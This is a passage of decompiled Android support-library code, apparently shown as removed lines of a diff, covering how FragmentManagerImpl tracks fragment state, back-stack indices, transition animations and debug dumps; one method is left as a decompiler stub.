"android:user_visible_hint"; - static final String VIEW_STATE_TAG = "android:view_state"; - ArrayList mActive; - ArrayList mAdded; - ArrayList mAvailBackStackIndices; - ArrayList mAvailIndices; - ArrayList mBackStack; - ArrayList mBackStackChangeListeners; - ArrayList mBackStackIndices; - FragmentContainer mContainer; - FragmentController mController; - ArrayList mCreatedMenus; - boolean mDestroyed; - boolean mExecutingActions; - boolean mHavePendingDeferredStart; - FragmentHostCallback mHost; - boolean mNeedMenuInvalidate; - String mNoTransactionsBecause; - Fragment mParent; - ArrayList mPendingActions; - boolean mStateSaved; - Runnable[] mTmpActions; - static final boolean HONEYCOMB = true; - static Field sAnimationListenerField = null; - static final Interpolator DECELERATE_QUINT = new DecelerateInterpolator(2.5f); - static final Interpolator DECELERATE_CUBIC = new DecelerateInterpolator(1.5f); - static final Interpolator ACCELERATE_QUINT = new AccelerateInterpolator(2.5f); - static final Interpolator ACCELERATE_CUBIC = new AccelerateInterpolator(1.5f); - int mCurState = 0; - Bundle mStateBundle = null; - SparseArray mStateArray = null; - Runnable mExecCommit = new Runnable() { // from class: android.support.v4.app.FragmentManagerImpl.1 - @Override // java.lang.Runnable - public void run() { - FragmentManagerImpl.this.execPendingActions(); - } - }; - - public static int reverseTransit(int i) { - if (i != 4097) { - if (i != 4099) { - if (i != 8194) { - return 0; - } - return FragmentTransaction.TRANSIT_FRAGMENT_OPEN; - } - return FragmentTransaction.TRANSIT_FRAGMENT_FADE; - } - return 8194; - } - - public static int transitToStyleIndex(int i, boolean z) { - if (i == 4097) { - return z ? 1 : 2; - } else if (i == 4099) { - return z ? 5 : 6; - } else if (i != 8194) { - return -1; - } else { - return z ? 3 : 4; - } - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public LayoutInflaterFactory getLayoutInflaterFactory() { - return this; - } - - /* JADX INFO: Access modifiers changed from: package-private */ - /* compiled from: FragmentManager.java */ - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public static class AnimateOnHWLayerIfNeededListener implements Animation.AnimationListener { - private Animation.AnimationListener mOriginalListener; - private boolean mShouldRunOnHWLayer; - View mView; - - public AnimateOnHWLayerIfNeededListener(View view, Animation animation) { - if (view == null || animation == null) { - return; - } - this.mView = view; - } - - public AnimateOnHWLayerIfNeededListener(View view, Animation animation, Animation.AnimationListener animationListener) { - if (view == null || animation == null) { - return; - } - this.mOriginalListener = animationListener; - this.mView = view; - this.mShouldRunOnHWLayer = true; - } - - @Override // android.view.animation.Animation.AnimationListener - public void onAnimationStart(Animation animation) { - Animation.AnimationListener animationListener = this.mOriginalListener; - if (animationListener != null) { - animationListener.onAnimationStart(animation); - } - } - - @Override // android.view.animation.Animation.AnimationListener - public void onAnimationEnd(Animation animation) { - View view = this.mView; - if (view != null && this.mShouldRunOnHWLayer) { - if (ViewCompat.isAttachedToWindow(view) || BuildCompat.isAtLeastN()) { - this.mView.post(new Runnable() { // from class: android.support.v4.app.FragmentManagerImpl.AnimateOnHWLayerIfNeededListener.1 - @Override // java.lang.Runnable - public void run() { - ViewCompat.setLayerType(AnimateOnHWLayerIfNeededListener.this.mView, 0, null); - } - }); - } else { - ViewCompat.setLayerType(this.mView, 0, null); - } - } - Animation.AnimationListener animationListener = this.mOriginalListener; - if (animationListener != null) { - animationListener.onAnimationEnd(animation); - } - } - - @Override // android.view.animation.Animation.AnimationListener - public void onAnimationRepeat(Animation animation) { - Animation.AnimationListener animationListener = this.mOriginalListener; - if (animationListener != null) { - animationListener.onAnimationRepeat(animation); - } - } - } - - static boolean modifiesAlpha(Animation animation) { - if (animation instanceof AlphaAnimation) { - return true; - } - if (animation instanceof AnimationSet) { - List animations = ((AnimationSet) animation).getAnimations(); - for (int i = 0; i < animations.size(); i++) { - if (animations.get(i) instanceof AlphaAnimation) { - return true; - } - } - } - return false; - } - - static boolean shouldRunOnHWLayer(View view, Animation animation) { - return ViewCompat.getLayerType(view) == 0 && ViewCompat.hasOverlappingRendering(view) && modifiesAlpha(animation); - } - - private void throwException(RuntimeException runtimeException) { - Log.e(TAG, runtimeException.getMessage()); - Log.e(TAG, "Activity state:"); - PrintWriter printWriter = new PrintWriter(new LogWriter(TAG)); - FragmentHostCallback fragmentHostCallback = this.mHost; - if (fragmentHostCallback != null) { - try { - fragmentHostCallback.onDump(" ", null, printWriter, new String[0]); - } catch (Exception e) { - Log.e(TAG, "Failed dumping state", e); - } - } else { - try { - dump(" ", null, printWriter, new String[0]); - } catch (Exception e2) { - Log.e(TAG, "Failed dumping state", e2); - } - } - throw runtimeException; - } - - @Override // android.support.v4.app.FragmentManager - public FragmentTransaction beginTransaction() { - return new BackStackRecord(this); - } - - @Override // android.support.v4.app.FragmentManager - public boolean executePendingTransactions() { - return execPendingActions(); - } - - @Override // android.support.v4.app.FragmentManager - public void popBackStack() { - enqueueAction(new Runnable() { // from class: android.support.v4.app.FragmentManagerImpl.2 - @Override // java.lang.Runnable - public void run() { - FragmentManagerImpl fragmentManagerImpl = FragmentManagerImpl.this; - fragmentManagerImpl.popBackStackState(fragmentManagerImpl.mHost.getHandler(), null, -1, 0); - } - }, false); - } - - @Override // android.support.v4.app.FragmentManager - public boolean popBackStackImmediate() { - checkStateLoss(); - executePendingTransactions(); - return popBackStackState(this.mHost.getHandler(), null, -1, 0); - } - - @Override // android.support.v4.app.FragmentManager - public void popBackStack(final String str, final int i) { - enqueueAction(new Runnable() { // from class: android.support.v4.app.FragmentManagerImpl.3 - @Override // java.lang.Runnable - public void run() { - FragmentManagerImpl fragmentManagerImpl = FragmentManagerImpl.this; - fragmentManagerImpl.popBackStackState(fragmentManagerImpl.mHost.getHandler(), str, -1, i); - } - }, false); - } - - @Override // android.support.v4.app.FragmentManager - public boolean popBackStackImmediate(String str, int i) { - checkStateLoss(); - executePendingTransactions(); - return popBackStackState(this.mHost.getHandler(), str, -1, i); - } - - @Override // android.support.v4.app.FragmentManager - public void popBackStack(final int i, final int i2) { - if (i < 0) { - throw new IllegalArgumentException("Bad id: " + i); - } - enqueueAction(new Runnable() { // from class: android.support.v4.app.FragmentManagerImpl.4 - @Override // java.lang.Runnable - public void run() { - FragmentManagerImpl fragmentManagerImpl = FragmentManagerImpl.this; - fragmentManagerImpl.popBackStackState(fragmentManagerImpl.mHost.getHandler(), null, i, i2); - } - }, false); - } - - @Override // android.support.v4.app.FragmentManager - public boolean popBackStackImmediate(int i, int i2) { - checkStateLoss(); - executePendingTransactions(); - if (i < 0) { - throw new IllegalArgumentException("Bad id: " + i); - } - return popBackStackState(this.mHost.getHandler(), null, i, i2); - } - - @Override // android.support.v4.app.FragmentManager - public int getBackStackEntryCount() { - ArrayList arrayList = this.mBackStack; - if (arrayList != null) { - return arrayList.size(); - } - return 0; - } - - @Override // android.support.v4.app.FragmentManager - public FragmentManager.BackStackEntry getBackStackEntryAt(int i) { - return this.mBackStack.get(i); - } - - @Override // android.support.v4.app.FragmentManager - public void addOnBackStackChangedListener(FragmentManager.OnBackStackChangedListener onBackStackChangedListener) { - if (this.mBackStackChangeListeners == null) { - this.mBackStackChangeListeners = new ArrayList<>(); - } - this.mBackStackChangeListeners.add(onBackStackChangedListener); - } - - @Override // android.support.v4.app.FragmentManager - public void removeOnBackStackChangedListener(FragmentManager.OnBackStackChangedListener onBackStackChangedListener) { - ArrayList arrayList = this.mBackStackChangeListeners; - if (arrayList != null) { - arrayList.remove(onBackStackChangedListener); - } - } - - @Override // android.support.v4.app.FragmentManager - public void putFragment(Bundle bundle, String str, Fragment fragment) { - if (fragment.mIndex < 0) { - throwException(new IllegalStateException("Fragment " + fragment + " is not currently in the FragmentManager")); - } - bundle.putInt(str, fragment.mIndex); - } - - @Override // android.support.v4.app.FragmentManager - public Fragment getFragment(Bundle bundle, String str) { - int i = bundle.getInt(str, -1); - if (i == -1) { - return null; - } - if (i >= this.mActive.size()) { - throwException(new IllegalStateException("Fragment no longer exists for key " + str + ": index " + i)); - } - Fragment fragment = this.mActive.get(i); - if (fragment == null) { - throwException(new IllegalStateException("Fragment no longer exists for key " + str + ": index " + i)); - } - return fragment; - } - - @Override // android.support.v4.app.FragmentManager - public List getFragments() { - return this.mActive; - } - - @Override // android.support.v4.app.FragmentManager - public Fragment.SavedState saveFragmentInstanceState(Fragment fragment) { - Bundle saveFragmentBasicState; - if (fragment.mIndex < 0) { - throwException(new IllegalStateException("Fragment " + fragment + " is not currently in the FragmentManager")); - } - if (fragment.mState <= 0 || (saveFragmentBasicState = saveFragmentBasicState(fragment)) == null) { - return null; - } - return new Fragment.SavedState(saveFragmentBasicState); - } - - @Override // android.support.v4.app.FragmentManager - public boolean isDestroyed() { - return this.mDestroyed; - } - - public String toString() { - StringBuilder sb = new StringBuilder(128); - sb.append("FragmentManager{"); - sb.append(Integer.toHexString(System.identityHashCode(this))); - sb.append(" in "); - Fragment fragment = this.mParent; - if (fragment != null) { - DebugUtils.buildShortClassTag(fragment, sb); - } else { - DebugUtils.buildShortClassTag(this.mHost, sb); - } - sb.append("}}"); - return sb.toString(); - } - - @Override // android.support.v4.app.FragmentManager - public void dump(String str, FileDescriptor fileDescriptor, PrintWriter printWriter, String[] strArr) { - int size; - int size2; - int size3; - int size4; - int size5; - int size6; - String str2 = str + " "; - ArrayList arrayList = this.mActive; - if (arrayList != null && (size6 = arrayList.size()) > 0) { - printWriter.print(str); - printWriter.print("Active Fragments in "); - printWriter.print(Integer.toHexString(System.identityHashCode(this))); - printWriter.println(":"); - for (int i = 0; i < size6; i++) { - Fragment fragment = this.mActive.get(i); - printWriter.print(str); - printWriter.print(" #"); - printWriter.print(i); - printWriter.print(": "); - printWriter.println(fragment); - if (fragment != null) { - fragment.dump(str2, fileDescriptor, printWriter, strArr); - } - } - } - ArrayList arrayList2 = this.mAdded; - if (arrayList2 != null && (size5 = arrayList2.size()) > 0) { - printWriter.print(str); - printWriter.println("Added Fragments:"); - for (int i2 = 0; i2 < size5; i2++) { - printWriter.print(str); - printWriter.print(" #"); - printWriter.print(i2); - printWriter.print(": "); - printWriter.println(this.mAdded.get(i2).toString()); - } - } - ArrayList arrayList3 = this.mCreatedMenus; - if (arrayList3 != null && (size4 = arrayList3.size()) > 0) { - printWriter.print(str); - printWriter.println("Fragments Created Menus:"); - for (int i3 = 0; i3 < size4; i3++) { - printWriter.print(str); - printWriter.print(" #"); - printWriter.print(i3); - printWriter.print(": "); - printWriter.println(this.mCreatedMenus.get(i3).toString()); - } - } - ArrayList arrayList4 = this.mBackStack; - if (arrayList4 != null && (size3 = arrayList4.size()) > 0) { - printWriter.print(str); - printWriter.println("Back Stack:"); - for (int i4 = 0; i4 < size3; i4++) { - BackStackRecord backStackRecord = this.mBackStack.get(i4); - printWriter.print(str); - printWriter.print(" #"); - printWriter.print(i4); - printWriter.print(": "); - printWriter.println(backStackRecord.toString()); - backStackRecord.dump(str2, fileDescriptor, printWriter, strArr); - } - } - synchronized (this) { - ArrayList arrayList5 = this.mBackStackIndices; - if (arrayList5 != null && (size2 = arrayList5.size()) > 0) { - printWriter.print(str); - printWriter.println("Back Stack Indices:"); - for (int i5 = 0; i5 < size2; i5++) { - printWriter.print(str); - printWriter.print(" #"); - printWriter.print(i5); - printWriter.print(": "); - printWriter.println((BackStackRecord) this.mBackStackIndices.get(i5)); - } - } - ArrayList arrayList6 = this.mAvailBackStackIndices; - if (arrayList6 != null && arrayList6.size() > 0) { - printWriter.print(str); - printWriter.print("mAvailBackStackIndices: "); - printWriter.println(Arrays.toString(this.mAvailBackStackIndices.toArray())); - } - } - ArrayList arrayList7 = this.mPendingActions; - if (arrayList7 != null && (size = arrayList7.size()) > 0) { - printWriter.print(str); - printWriter.println("Pending Actions:"); - for (int i6 = 0; i6 < size; i6++) { - printWriter.print(str); - printWriter.print(" #"); - printWriter.print(i6); - printWriter.print(": "); - printWriter.println((Runnable) this.mPendingActions.get(i6)); - } - } - printWriter.print(str); - printWriter.println("FragmentManager misc state:"); - printWriter.print(str); - printWriter.print(" mHost="); - printWriter.println(this.mHost); - printWriter.print(str); - printWriter.print(" mContainer="); - printWriter.println(this.mContainer); - if (this.mParent != null) { - printWriter.print(str); - printWriter.print(" mParent="); - printWriter.println(this.mParent); - } - printWriter.print(str); - printWriter.print(" mCurState="); - printWriter.print(this.mCurState); - printWriter.print(" mStateSaved="); - printWriter.print(this.mStateSaved); - printWriter.print(" mDestroyed="); - printWriter.println(this.mDestroyed); - if (this.mNeedMenuInvalidate) { - printWriter.print(str); - printWriter.print(" mNeedMenuInvalidate="); - printWriter.println(this.mNeedMenuInvalidate); - } - if (this.mNoTransactionsBecause != null) { - printWriter.print(str); - printWriter.print(" mNoTransactionsBecause="); - printWriter.println(this.mNoTransactionsBecause); - } - ArrayList arrayList8 = this.mAvailIndices; - if (arrayList8 == null || arrayList8.size() <= 0) { - return; - } - printWriter.print(str); - printWriter.print(" mAvailIndices: "); - printWriter.println(Arrays.toString(this.mAvailIndices.toArray())); - } - - static Animation makeOpenCloseAnimation(Context context, float f, float f2, float f3, float f4) { - AnimationSet animationSet = new AnimationSet(false); - ScaleAnimation scaleAnimation = new ScaleAnimation(f, f2, f, f2, 1, 0.5f, 1, 0.5f); - scaleAnimation.setInterpolator(DECELERATE_QUINT); - scaleAnimation.setDuration(220L); - animationSet.addAnimation(scaleAnimation); - AlphaAnimation alphaAnimation = new AlphaAnimation(f3, f4); - alphaAnimation.setInterpolator(DECELERATE_CUBIC); - alphaAnimation.setDuration(220L); - animationSet.addAnimation(alphaAnimation); - return animationSet; - } - - static Animation makeFadeAnimation(Context context, float f, float f2) { - AlphaAnimation alphaAnimation = new AlphaAnimation(f, f2); - alphaAnimation.setInterpolator(DECELERATE_CUBIC); - alphaAnimation.setDuration(220L); - return alphaAnimation; - } - - Animation loadAnimation(Fragment fragment, int i, boolean z, int i2) { - int transitToStyleIndex; - Animation loadAnimation; - Animation onCreateAnimation = fragment.onCreateAnimation(i, z, fragment.mNextAnim); - if (onCreateAnimation != null) { - return onCreateAnimation; - } - if (fragment.mNextAnim == 0 || (loadAnimation = AnimationUtils.loadAnimation(this.mHost.getContext(), fragment.mNextAnim)) == null) { - if (i != 0 && (transitToStyleIndex = transitToStyleIndex(i, z)) >= 0) { - switch (transitToStyleIndex) { - case 1: - return makeOpenCloseAnimation(this.mHost.getContext(), 1.125f, 1.0f, 0.0f, 1.0f); - case 2: - return makeOpenCloseAnimation(this.mHost.getContext(), 1.0f, 0.975f, 1.0f, 0.0f); - case 3: - return makeOpenCloseAnimation(this.mHost.getContext(), 0.975f, 1.0f, 0.0f, 1.0f); - case 4: - return makeOpenCloseAnimation(this.mHost.getContext(), 1.0f, 1.075f, 1.0f, 0.0f); - case 5: - return makeFadeAnimation(this.mHost.getContext(), 0.0f, 1.0f); - case 6: - return makeFadeAnimation(this.mHost.getContext(), 1.0f, 0.0f); - default: - if (i2 == 0 && this.mHost.onHasWindowAnimations()) { - this.mHost.onGetWindowAnimations(); - return null; - } - return null; - } - } - return null; - } - return loadAnimation; - } - - public void performPendingDeferredStart(Fragment fragment) { - if (fragment.mDeferStart) { - if (this.mExecutingActions) { - this.mHavePendingDeferredStart = true; - return; - } - fragment.mDeferStart = false; - moveToState(fragment, this.mCurState, 0, 0, false); - } - } - - private void setHWLayerAnimListenerIfAlpha(View view, Animation animation) { - Animation.AnimationListener animationListener; - if (view == null || animation == null || !shouldRunOnHWLayer(view, animation)) { - return; - } - try { - if (sAnimationListenerField == null) { - Field declaredField = Animation.class.getDeclaredField("mListener"); - sAnimationListenerField = declaredField; - declaredField.setAccessible(true); - } - animationListener = (Animation.AnimationListener) sAnimationListenerField.get(animation); - } catch (IllegalAccessException e) { - Log.e(TAG, "Cannot access Animation's mListener field", e); - animationListener = null; - ViewCompat.setLayerType(view, 2, null); - animation.setAnimationListener(new AnimateOnHWLayerIfNeededListener(view, animation, animationListener)); - } catch (NoSuchFieldException e2) { - Log.e(TAG, "No field with the name mListener is found in Animation class", e2); - animationListener = null; - ViewCompat.setLayerType(view, 2, null); - animation.setAnimationListener(new AnimateOnHWLayerIfNeededListener(view, animation, animationListener)); - } - ViewCompat.setLayerType(view, 2, null); - animation.setAnimationListener(new AnimateOnHWLayerIfNeededListener(view, animation, animationListener)); - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public boolean isStateAtLeast(int i) { - return this.mCurState >= i; - } - - /* JADX INFO: Access modifiers changed from: package-private */ - /* JADX WARN: Multi-variable type inference failed */ - /* JADX WARN: Removed duplicated region for block: B:119:0x0246 */ - /* JADX WARN: Removed duplicated region for block: B:121:0x024a */ - /* JADX WARN: Removed duplicated region for block: B:127:0x0266 */ - /* JADX WARN: Removed duplicated region for block: B:211:0x03c4 */ - /* JADX WARN: Removed duplicated region for block: B:215:? A[RETURN, SYNTHETIC] */ - /* JADX WARN: Removed duplicated region for block: B:82:0x015b */ - /* JADX WARN: Type inference failed for: r3v1 */ - /* JADX WARN: Type inference failed for: r3v10 */ - /* JADX WARN: Type inference failed for: r3v11 */ - /* JADX WARN: Type inference failed for: r3v12 */ - /* JADX WARN: Type inference failed for: r3v3, types: [android.os.Bundle, android.view.View] */ - /* JADX WARN: Type inference failed for: r3v4 */ - /* JADX WARN: Type inference failed for: r3v5 */ - /* JADX WARN: Type inference failed for: r3v6 */ - /* JADX WARN: Type inference failed for: r3v7, types: [android.os.Bundle, android.util.SparseArray] */ - /* JADX WARN: Type inference failed for: r3v8 */ - /* JADX WARN: Type inference failed for: r3v9 */ - /* - Code decompiled incorrectly, please refer to instructions dump. - To view partially-correct add '--show-bad-code' argument - */ - public void moveToState(final android.support.v4.app.Fragment r19, int r20, int r21, int r22, boolean r23) { - /* - Method dump skipped, instructions count: 1007 - To view this dump add '--comments-level debug' option - */ - throw new UnsupportedOperationException("Method not decompiled: android.support.v4.app.FragmentManagerImpl.moveToState(android.support.v4.app.Fragment, int, int, int, boolean):void"); - } - - void moveToState(Fragment fragment) { - moveToState(fragment, this.mCurState, 0, 0, false); - } - - void moveToState(int i, boolean z) { - moveToState(i, 0, 0, z); - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public void moveToState(int i, int i2, int i3, boolean z) { - FragmentHostCallback fragmentHostCallback; - if (this.mHost == null && i != 0) { - throw new IllegalStateException("No host"); - } - if (z || this.mCurState != i) { - this.mCurState = i; - if (this.mActive != null) { - boolean z2 = false; - for (int i4 = 0; i4 < this.mActive.size(); i4++) { - Fragment fragment = this.mActive.get(i4); - if (fragment != null) { - moveToState(fragment, i, i2, i3, false); - if (fragment.mLoaderManager != null) { - z2 |= fragment.mLoaderManager.hasRunningLoaders(); - } - } - } - if (!z2) { - startPendingDeferredFragments(); - } - if (this.mNeedMenuInvalidate && (fragmentHostCallback = this.mHost) != null && this.mCurState == 5) { - fragmentHostCallback.onSupportInvalidateOptionsMenu(); - this.mNeedMenuInvalidate = false; - } - } - } - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public void startPendingDeferredFragments() { - if (this.mActive == null) { - return; - } - for (int i = 0; i < this.mActive.size(); i++) { - Fragment fragment = this.mActive.get(i); - if (fragment != null) { - performPendingDeferredStart(fragment); - } - } - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public void makeActive(Fragment fragment) { - if (fragment.mIndex >= 0) { - return; - } - ArrayList arrayList = this.mAvailIndices; - if (arrayList == null || arrayList.size() <= 0) { - if (this.mActive == null) { - this.mActive = new ArrayList<>(); - } - fragment.setIndex(this.mActive.size(), this.mParent); - this.mActive.add(fragment); - } else { - ArrayList arrayList2 = this.mAvailIndices; - fragment.setIndex(arrayList2.remove(arrayList2.size() - 1).intValue(), this.mParent); - this.mActive.set(fragment.mIndex, fragment); - } - if (DEBUG) { - Log.v(TAG, "Allocated fragment index " + fragment); - } - } - - void makeInactive(Fragment fragment) { - if (fragment.mIndex < 0) { - return; - } - if (DEBUG) { - Log.v(TAG, "Freeing fragment index " + fragment); - } - this.mActive.set(fragment.mIndex, null); - if (this.mAvailIndices == null) { - this.mAvailIndices = new ArrayList<>(); - } - this.mAvailIndices.add(Integer.valueOf(fragment.mIndex)); - this.mHost.inactivateFragment(fragment.mWho); - fragment.initState(); - } - - public void addFragment(Fragment fragment, boolean z) { - if (this.mAdded == null) { - this.mAdded = new ArrayList<>(); - } - if (DEBUG) { - Log.v(TAG, "add: " + fragment); - } - makeActive(fragment); - if (fragment.mDetached) { - return; - } - if (this.mAdded.contains(fragment)) { - throw new IllegalStateException("Fragment already added: " + fragment); - } - this.mAdded.add(fragment); - fragment.mAdded = true; - fragment.mRemoving = false; - if (fragment.mHasMenu && fragment.mMenuVisible) { - this.mNeedMenuInvalidate = true; - } - if (z) { - moveToState(fragment); - } - } - - public void removeFragment(Fragment fragment, int i, int i2) { - if (DEBUG) { - Log.v(TAG, "remove: " + fragment + " nesting=" + fragment.mBackStackNesting); - } - boolean isInBackStack = fragment.isInBackStack(); - boolean z = !isInBackStack ? 1 : 0; - if (!fragment.mDetached || z) { - ArrayList arrayList = this.mAdded; - if (arrayList != null) { - arrayList.remove(fragment); - } - if (fragment.mHasMenu && fragment.mMenuVisible) { - this.mNeedMenuInvalidate = true; - } - fragment.mAdded = false; - fragment.mRemoving = true; - moveToState(fragment, isInBackStack ? 1 : 0, i, i2, false); - } - } - - public void hideFragment(Fragment fragment, int i, int i2) { - if (DEBUG) { - Log.v(TAG, "hide: " + fragment); - } - if (fragment.mHidden) { - return; - } - fragment.mHidden = true; - if (fragment.mView != null) { - Animation loadAnimation = loadAnimation(fragment, i, false, i2); - if (loadAnimation != null) { - setHWLayerAnimListenerIfAlpha(fragment.mView, loadAnimation); - fragment.mView.startAnimation(loadAnimation); - } - fragment.mView.setVisibility(8); - } - if (fragment.mAdded && fragment.mHasMenu && fragment.mMenuVisible) { - this.mNeedMenuInvalidate = true; - } - fragment.onHiddenChanged(true); - } - - public void showFragment(Fragment fragment, int i, int i2) { - if (DEBUG) { - Log.v(TAG, "show: " + fragment); - } - if (fragment.mHidden) { - fragment.mHidden = false; - if (fragment.mView != null) { - Animation loadAnimation = loadAnimation(fragment, i, true, i2); - if (loadAnimation != null) { - setHWLayerAnimListenerIfAlpha(fragment.mView, loadAnimation); - fragment.mView.startAnimation(loadAnimation); - } - fragment.mView.setVisibility(0); - } - if (fragment.mAdded && fragment.mHasMenu && fragment.mMenuVisible) { - this.mNeedMenuInvalidate = true; - } - fragment.onHiddenChanged(false); - } - } - - public void detachFragment(Fragment fragment, int i, int i2) { - if (DEBUG) { - Log.v(TAG, "detach: " + fragment); - } - if (fragment.mDetached) { - return; - } - fragment.mDetached = true; - if (fragment.mAdded) { - if (this.mAdded != null) { - if (DEBUG) { - Log.v(TAG, "remove from detach: " + fragment); - } - this.mAdded.remove(fragment); - } - if (fragment.mHasMenu && fragment.mMenuVisible) { - this.mNeedMenuInvalidate = true; - } - fragment.mAdded = false; - moveToState(fragment, 1, i, i2, false); - } - } - - public void attachFragment(Fragment fragment, int i, int i2) { - if (DEBUG) { - Log.v(TAG, "attach: " + fragment); - } - if (fragment.mDetached) { - fragment.mDetached = false; - if (fragment.mAdded) { - return; - } - if (this.mAdded == null) { - this.mAdded = new ArrayList<>(); - } - if (this.mAdded.contains(fragment)) { - throw new IllegalStateException("Fragment already added: " + fragment); - } - if (DEBUG) { - Log.v(TAG, "add from attach: " + fragment); - } - this.mAdded.add(fragment); - fragment.mAdded = true; - if (fragment.mHasMenu && fragment.mMenuVisible) { - this.mNeedMenuInvalidate = true; - } - moveToState(fragment, this.mCurState, i, i2, false); - } - } - - @Override // android.support.v4.app.FragmentManager - public Fragment findFragmentById(int i) { - ArrayList arrayList = this.mAdded; - if (arrayList != null) { - for (int size = arrayList.size() - 1; size >= 0; size--) { - Fragment fragment = this.mAdded.get(size); - if (fragment != null && fragment.mFragmentId == i) { - return fragment; - } - } - } - ArrayList arrayList2 = this.mActive; - if (arrayList2 != null) { - for (int size2 = arrayList2.size() - 1; size2 >= 0; size2--) { - Fragment fragment2 = this.mActive.get(size2); - if (fragment2 != null && fragment2.mFragmentId == i) { - return fragment2; - } - } - return null; - } - return null; - } - - @Override // android.support.v4.app.FragmentManager - public Fragment findFragmentByTag(String str) { - ArrayList arrayList = this.mAdded; - if (arrayList != null && str != null) { - for (int size = arrayList.size() - 1; size >= 0; size--) { - Fragment fragment = this.mAdded.get(size); - if (fragment != null && str.equals(fragment.mTag)) { - return fragment; - } - } - } - ArrayList arrayList2 = this.mActive; - if (arrayList2 == null || str == null) { - return null; - } - for (int size2 = arrayList2.size() - 1; size2 >= 0; size2--) { - Fragment fragment2 = this.mActive.get(size2); - if (fragment2 != null && str.equals(fragment2.mTag)) { - return fragment2; - } - } - return null; - } - - public Fragment findFragmentByWho(String str) { - Fragment findFragmentByWho; - ArrayList arrayList = this.mActive; - if (arrayList == null || str == null) { - return null; - } - for (int size = arrayList.size() - 1; size >= 0; size--) { - Fragment fragment = this.mActive.get(size); - if (fragment != null && (findFragmentByWho = fragment.findFragmentByWho(str)) != null) { - return findFragmentByWho; - } - } - return null; - } - - private void checkStateLoss() { - if (this.mStateSaved) { - throw new IllegalStateException("Can not perform this action after onSaveInstanceState"); - } - if (this.mNoTransactionsBecause != null) { - throw new IllegalStateException("Can not perform this action inside of " + this.mNoTransactionsBecause); - } - } - - public void enqueueAction(Runnable runnable, boolean z) { - if (!z) { - checkStateLoss(); - } - synchronized (this) { - if (this.mDestroyed || this.mHost == null) { - throw new IllegalStateException("Activity has been destroyed"); - } - if (this.mPendingActions == null) { - this.mPendingActions = new ArrayList<>(); - } - this.mPendingActions.add(runnable); - if (this.mPendingActions.size() == 1) { - this.mHost.getHandler().removeCallbacks(this.mExecCommit); - this.mHost.getHandler().post(this.mExecCommit); - } - } - } - - public int allocBackStackIndex(BackStackRecord backStackRecord) { - synchronized (this) { - ArrayList arrayList = this.mAvailBackStackIndices; - if (arrayList != null && arrayList.size() > 0) { - ArrayList arrayList2 = this.mAvailBackStackIndices; - int intValue = arrayList2.remove(arrayList2.size() - 1).intValue(); - if (DEBUG) { - Log.v(TAG, "Adding back stack index " + intValue + " with " + backStackRecord); - } - this.mBackStackIndices.set(intValue, backStackRecord); - return intValue; - } - if (this.mBackStackIndices == null) { - this.mBackStackIndices = new ArrayList<>(); - } - int size = this.mBackStackIndices.size(); - if (DEBUG) { - Log.v(TAG, "Setting back stack index " + size + " to " + backStackRecord); - } - this.mBackStackIndices.add(backStackRecord); - return size; - } - } - - public void setBackStackIndex(int i, BackStackRecord backStackRecord) { - synchronized (this) { - if (this.mBackStackIndices == null) { - this.mBackStackIndices = new ArrayList<>(); - } - int size = this.mBackStackIndices.size(); - if (i < size) { - if (DEBUG) { - Log.v(TAG, "Setting back stack index " + i + " to " + backStackRecord); - } - this.mBackStackIndices.set(i, backStackRecord); - } else { - while (size < i) { - this.mBackStackIndices.add(null); - if (this.mAvailBackStackIndices == null) { - this.mAvailBackStackIndices = new ArrayList<>(); - } - if (DEBUG) { - Log.v(TAG, "Adding available back stack index " + size); - } - this.mAvailBackStackIndices.add(Integer.valueOf(size)); - size++; - } - if (DEBUG) { - Log.v(TAG, "Adding back stack index " + i + " with " + backStackRecord); - } - this.mBackStackIndices.add(backStackRecord); - } - } - } - - public void freeBackStackIndex(int i) { - synchronized (this) { - this.mBackStackIndices.set(i, null); - if (this.mAvailBackStackIndices == null) { - this.mAvailBackStackIndices = new ArrayList<>(); - } - if (DEBUG) { - Log.v(TAG, "Freeing back stack index " + i); - } - this.mAvailBackStackIndices.add(Integer.valueOf(i)); - } - } - - public void execSingleAction(Runnable runnable, boolean z) { - if (this.mExecutingActions) { - throw new IllegalStateException("FragmentManager is already executing transactions"); - } - if (Looper.myLooper() != this.mHost.getHandler().getLooper()) { - throw new IllegalStateException("Must be called from main thread of fragment host"); - } - if (!z) { - checkStateLoss(); - } - this.mExecutingActions = true; - runnable.run(); - this.mExecutingActions = false; - doPendingDeferredStart(); - } - - public boolean execPendingActions() { - int size; - if (this.mExecutingActions) { - throw new IllegalStateException("FragmentManager is already executing transactions"); - } - if (Looper.myLooper() != this.mHost.getHandler().getLooper()) { - throw new IllegalStateException("Must be called from main thread of fragment host"); - } - boolean z = false; - while (true) { - synchronized (this) { - ArrayList arrayList = this.mPendingActions; - if (arrayList == null || arrayList.size() == 0) { - break; - } - size = this.mPendingActions.size(); - Runnable[] runnableArr = this.mTmpActions; - if (runnableArr == null || runnableArr.length < size) { - this.mTmpActions = new Runnable[size]; - } - this.mPendingActions.toArray(this.mTmpActions); - this.mPendingActions.clear(); - this.mHost.getHandler().removeCallbacks(this.mExecCommit); - } - this.mExecutingActions = true; - for (int i = 0; i < size; i++) { - this.mTmpActions[i].run(); - this.mTmpActions[i] = null; - } - this.mExecutingActions = false; - z = true; - } - doPendingDeferredStart(); - return z; - } - - void doPendingDeferredStart() { - if (this.mHavePendingDeferredStart) { - boolean z = false; - for (int i = 0; i < this.mActive.size(); i++) { - Fragment fragment = this.mActive.get(i); - if (fragment != null && fragment.mLoaderManager != null) { - z |= fragment.mLoaderManager.hasRunningLoaders(); - } - } - if (z) { - return; - } - this.mHavePendingDeferredStart = false; - startPendingDeferredFragments(); - } - } - - void reportBackStackChanged() { - if (this.mBackStackChangeListeners != null) { - for (int i = 0; i < this.mBackStackChangeListeners.size(); i++) { - this.mBackStackChangeListeners.get(i).onBackStackChanged(); - } - } - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public void addBackStackState(BackStackRecord backStackRecord) { - if (this.mBackStack == null) { - this.mBackStack = new ArrayList<>(); - } - this.mBackStack.add(backStackRecord); - reportBackStackChanged(); - } - - boolean popBackStackState(Handler handler, String str, int i, int i2) { - int size; - ArrayList arrayList = this.mBackStack; - if (arrayList == null) { - return false; - } - BackStackRecord.TransitionState transitionState = null; - if (str == null && i < 0 